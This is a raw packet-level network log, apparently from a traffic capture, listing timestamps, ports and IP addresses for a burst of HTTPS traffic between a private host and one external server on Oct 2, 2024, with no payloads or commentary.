Oct 2, 2024 06:11:37.345868111 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.345900059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.345918894 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.346576929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.346592903 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.346637964 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.346642971 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.346679926 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.346698046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.347142935 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.347158909 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.347217083 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.347222090 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.347281933 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.348923922 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.348942041 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.349023104 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.349029064 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.349092960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.349694967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.349735022 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.349771976 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.349776030 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.349807024 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.349823952 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.351826906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.351844072 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.351898909 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.351910114 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.352034092 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.393021107 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.393047094 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.393162966 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.393179893 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.393434048 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.436055899 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.436073065 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.436136007 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.436147928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.436202049 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.436592102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.436606884 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.436650038 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.436655045 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.436685085 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.436707973 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.437413931 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.437434912 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.437474966 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.437479973 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.437515974 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.437539101 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.437892914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.437913895 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.437968016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.437974930 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.438035965 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.439627886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.439646006 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.439701080 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.439707994 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.439752102 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.439773083 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.440356970 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.440373898 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.440431118 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.440439939 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.440490961 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.442547083 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.442563057 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.442622900 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.442627907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.442676067 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.483711958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.483728886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.483783007 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.483789921 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.483840942 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.526796103 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.526814938 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.526865005 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.526871920 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.526916027 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.527332067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.527347088 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.527414083 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.527420044 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.527461052 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.527993917 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.528011084 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.528059006 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.528065920 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.528105974 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.528542995 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.528573036 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.528606892 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.528613091 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.528640985 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.528681993 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.530284882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.530316114 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.530342102 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.530345917 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.530392885 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.531111002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.531138897 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.531171083 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.531177044 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.531207085 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.531229019 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.533341885 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.533364058 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.533409119 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.533415079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.533451080 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.533466101 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.574631929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.574667931 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.574707985 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.574713945 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.574779034 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.617639065 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.617659092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.617713928 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.617718935 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.617769003 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.618109941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.618125916 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.618191004 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.618197918 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.618251085 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.618660927 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.618676901 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.618747950 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.618753910 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.618804932 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.619139910 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.619154930 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.619185925 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.619190931 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.619219065 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.619240999 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.620881081 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.620910883 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.620948076 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.620953083 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.620985985 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.621001005 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.621682882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.621699095 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.621747017 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.621752024 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.621786118 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.621807098 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.623773098 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.623790026 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.623867035 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.623873949 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.623915911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.624274969 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.667959929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.667978048 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.668032885 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.668042898 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.668087959 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.708661079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.708678007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.708728075 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.708734035 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.708766937 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.708791971 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.709189892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.709218979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.709260941 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.709265947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.709301949 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.709323883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.709476948 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.709492922 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.709547043 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.709553003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.709595919 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.710078955 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.710094929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.710139990 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.710144997 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.710171938 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.710191965 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.711730003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.711745977 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.711785078 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.711790085 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.711823940 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.711855888 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.712776899 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.712800980 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.712838888 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.712845087 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.712874889 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.712893963 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.714620113 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.714636087 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.714679003 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.714684010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.714726925 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.714745998 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.758800983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.758817911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.758877039 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.758884907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.758930922 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.799499035 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.799518108 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.799576998 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.799582958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.799659967 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.800059080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.800079107 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.800153971 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.800164938 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.800205946 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.800595999 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.800612926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.800683022 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.800688982 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.800726891 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.801058054 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.801073074 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.801110983 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.801115990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.801146030 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.801166058 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.802155018 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.802171946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.802220106 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.802226067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.802256107 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.802278042 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.803327084 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.803359032 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.803405046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.803411007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.803457975 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.803469896 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.805500984 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.805526018 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.805574894 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.805579901 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.805614948 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.805721045 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.849678993 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.849699020 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.849756956 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.849764109 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.849786997 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.849807024 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.890429974 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.890459061 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.890490055 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.890497923 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.890542030 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.890567064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.890865088 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.890892029 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.890933990 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.890938997 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.890965939 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.890989065 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.891300917 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.891320944 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.891364098 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.891370058 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.891398907 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.891423941 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.891802073 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.891817093 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.891887903 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.891894102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.891937017 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.892951012 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.892973900 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.893033028 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.893039942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.893122911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.894031048 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.894047022 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.894093990 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.894099951 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.894143105 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.897248030 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.897263050 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.897320032 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.897325993 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.897372007 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.940356970 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.940375090 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.940439939 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.940447092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.940491915 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.980990887 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.981009007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.981071949 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.981077909 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.981123924 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.981606007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.981623888 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.981674910 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.981679916 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.981710911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.981726885 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.981970072 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.981987000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.982033968 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.982039928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.982080936 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.982575893 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.982592106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.982626915 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.982631922 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.982661963 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.982680082 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.983592987 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.983608007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.983665943 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.983671904 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.983695984 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.983719110 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.984747887 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.984778881 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.984812975 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.984817982 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.984843016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.984867096 CEST	49723	443	192.168.2.8	167.114.14.168
